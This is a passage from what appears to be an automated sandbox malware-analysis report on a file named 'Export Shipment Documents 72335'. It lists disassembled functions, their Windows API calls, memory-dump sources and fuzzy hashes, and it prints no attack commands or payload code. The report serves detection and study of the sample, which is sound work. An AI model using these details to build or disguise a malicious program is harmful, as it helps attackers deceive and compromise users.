                                                                                                                                                                                                            • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                            • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                            • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                          • MoveToEx.GDI32(?,?,00000000,00000000), ref: 0044728F
                                                                                                                                                                                                          • LineTo.GDI32(?,00000000,00000002), ref: 004472A0
                                                                                                                                                                                                          • EndPath.GDI32(?), ref: 004472B0
                                                                                                                                                                                                          • StrokePath.GDI32(?), ref: 004472BE
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2783949968-0
                                                                                                                                                                                                          • Opcode ID: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                                                          • Instruction ID: 15f667079dd022c0076d5117e5ffb33549464faf874781034dcdd6a9c0a79bb3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 09270453bc364e96d12f6c3f9be453f1264e71f62e0889bc66601f12e66ee767
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 46F09030109361BFE211DB10DC0AF9F3B98AB46310F10490CF641622D2C7B46845C7BA
                                                                                                                                                                                                          Function 00417D0E Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __getptd.LIBCMT ref: 00417D1A
                                                                                                                                                                                                            • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                                                            • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                                                          • __getptd.LIBCMT ref: 00417D31
                                                                                                                                                                                                          • __amsg_exit.LIBCMT ref: 00417D3F
                                                                                                                                                                                                          • __lock.LIBCMT ref: 00417D4F
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __amsg_exit__getptd$__getptd_noexit__lock
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3521780317-0
                                                                                                                                                                                                          • Opcode ID: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                                                          • Instruction ID: 784cd6646040312d8c3929352b57c791f513dbd9ce30c249d09a92555f0e5bc7
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6e88b35b2b81098ca19d257f076875e832caf49443e3c23eeee739354b537ff9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D4F06D319447089AD720FB66E4067EA32B0AF01728F11856FA4415B7D2DB3C99C08B9E
                                                                                                                                                                                                          Function 00471144 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetDesktopWindow.USER32 ref: 00471144
                                                                                                                                                                                                          • GetDC.USER32(00000000), ref: 0047114D
                                                                                                                                                                                                          • GetDeviceCaps.GDI32(00000000,00000074), ref: 0047115A
                                                                                                                                                                                                          • ReleaseDC.USER32(00000000,?), ref: 0047117B
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2889604237-0
                                                                                                                                                                                                          • Opcode ID: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                                                                          • Instruction ID: a1da8b046b56c0024f4e51319ca7c868ce9b42ab557c4db2e47d6af70bf9fcef
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 949280357db84fa49407f8095e759b2e277f1c53a9819964645a6bf04a6d26c7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 75F05E759042009FC310DF65DC4856EBBA4FB94351F108C3EFD05D2251DB7889059B99
                                                                                                                                                                                                          Function 00471102 Relevance: 6.0, APIs: 4, Instructions: 28COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetDesktopWindow.USER32 ref: 00471102
                                                                                                                                                                                                          • GetDC.USER32(00000000), ref: 0047110B
                                                                                                                                                                                                          • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00471118
                                                                                                                                                                                                          • ReleaseDC.USER32(00000000,?), ref: 00471139
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CapsDesktopDeviceReleaseWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2889604237-0
                                                                                                                                                                                                          • Opcode ID: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                                                                          • Instruction ID: 5204c471e266b2ed5cdb435334cd6f206910ee07043e0bb223494c3f632f6575
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 179ddf2500a9669b2282ba4880ad99879b6dd87bde84ab61e923a9eee80713d7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 78F05E759042009FD310EF65DC5896EBBA4FB94351F104C3EFC05D2251DB7489059B99
                                                                                                                                                                                                          Function 004389A1 Relevance: 6.0, APIs: 4, Instructions: 27threadwindowtimeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                                                          • GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                                                          • AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2710830443-0
                                                                                                                                                                                                          • Opcode ID: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                                                          • Instruction ID: 438da6915ae72ab6a15f098678a9856147cbf2dc0a85cf0a700465948addd5b0
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fc668e8f88677791c9032932ff1b39d21009c78d2dca35edbf1b20bb29ea35ff
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 14E012712853107BE72157509D0EFAF7B98AF18B11F14481EB241B50D0DAF8A941876E
                                                                                                                                                                                                          Function 004390C2 Relevance: 6.0, APIs: 4, Instructions: 26synchronizationCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 004390CD
                                                                                                                                                                                                          • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 004390DB
                                                                                                                                                                                                          • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390EB
                                                                                                                                                                                                          • CloseHandle.KERNEL32(?,?,000000FF), ref: 004390F0
                                                                                                                                                                                                            • Part of subcall function 00438FB6: GetProcessHeap.KERNEL32(00000000,?,00439504,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FC1
                                                                                                                                                                                                            • Part of subcall function 00438FB6: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00438FC8
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 146765662-0
                                                                                                                                                                                                          • Opcode ID: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                                                                          • Instruction ID: e19b07cb6d87eea3d85dfea562759309df1919ba68b29a0146d7a5ec0ea3c710
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7cdfdd2e005e28f5438e9d3b399fcd684928161159dd652c77b09849c549b5d2
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5DE0C976504311ABC620EB65DC48C4BB7E9EF883303114E1DF89693260CA74E881CB65
                                                                                                                                                                                                          Function 0041405D Relevance: 6.0, APIs: 4, Instructions: 19threadCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 00414070
                                                                                                                                                                                                            • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                                                                          • __getptd_noexit.LIBCMT ref: 00414080
                                                                                                                                                                                                          • __freeptd.LIBCMT ref: 0041408A
                                                                                                                                                                                                          • ExitThread.KERNEL32 ref: 00414093
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3182216644-0
                                                                                                                                                                                                          • Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                                                                          • Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D
                                                                                                                                                                                                          Function 0046EDC6 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 383COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: BuffCharLower
                                                                                                                                                                                                          • String ID: $8'I
                                                                                                                                                                                                          • API String ID: 2358735015-3608026889
                                                                                                                                                                                                          • Opcode ID: e3039598ad07eb1683e22d1e13845cc1c6bfaba1fe80df618d976ecbdfba683b
                                                                                                                                                                                                          • Instruction ID: 1bf34105e022c250dd7240f1ea7ec4803edb57b208c13e69c3fb06210d7c4844
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e3039598ad07eb1683e22d1e13845cc1c6bfaba1fe80df618d976ecbdfba683b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9FE1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                                                                                                                                                                                                          Function 00478373 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                            • Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593
                                                                                                                                                                                                            • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                                                            • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CopyVariant$ContainedObject$ErrorLast_malloc
                                                                                                                                                                                                          • String ID: AutoIt3GUI$Container
                                                                                                                                                                                                          • API String ID: 3380330463-3941886329
                                                                                                                                                                                                          • Opcode ID: a9ff7069b9b8d6ccd49eba872ad7efd2467de888f1098c4430e935d21ee713db
                                                                                                                                                                                                          • Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a9ff7069b9b8d6ccd49eba872ad7efd2467de888f1098c4430e935d21ee713db
                                                                                                                                                                                                          • Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55
                                                                                                                                                                                                          Function 004099A8 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 228COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                            • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                            • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                          • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                          • String ID: 0vH
                                                                                                                                                                                                          • API String ID: 1143807570-3662162768
                                                                                                                                                                                                          • Opcode ID: 06636c051a656e0db8e48e9a81f0f7daa77b956eb8708b24b717754a54bb628e
                                                                                                                                                                                                          • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 06636c051a656e0db8e48e9a81f0f7daa77b956eb8708b24b717754a54bb628e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                                                                                                                                                                                                          Function 00466587 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: HH$HH
                                                                                                                                                                                                          • API String ID: 0-1787419579
                                                                                                                                                                                                          • Opcode ID: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                                                                                                                                                          • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7546cf6663fec2d41e0be28018c51c43d88dc93244b488606bcda1ed75612bc1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                                                                                                                                                                                                          Function 00444652 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: InfoItemMenu_memset
                                                                                                                                                                                                          • String ID: 0
                                                                                                                                                                                                          • API String ID: 2223754486-4108050209
                                                                                                                                                                                                          • Opcode ID: 38f09aa922346eb88559bb972c0ed36bedb4057ad35cf6b519ccfeef0a85981d
                                                                                                                                                                                                          • Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 38f09aa922346eb88559bb972c0ed36bedb4057ad35cf6b519ccfeef0a85981d
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A
                                                                                                                                                                                                          Function 00448358 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend
                                                                                                                                                                                                          • String ID: '
                                                                                                                                                                                                          • API String ID: 3850602802-1997036262
                                                                                                                                                                                                          • Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
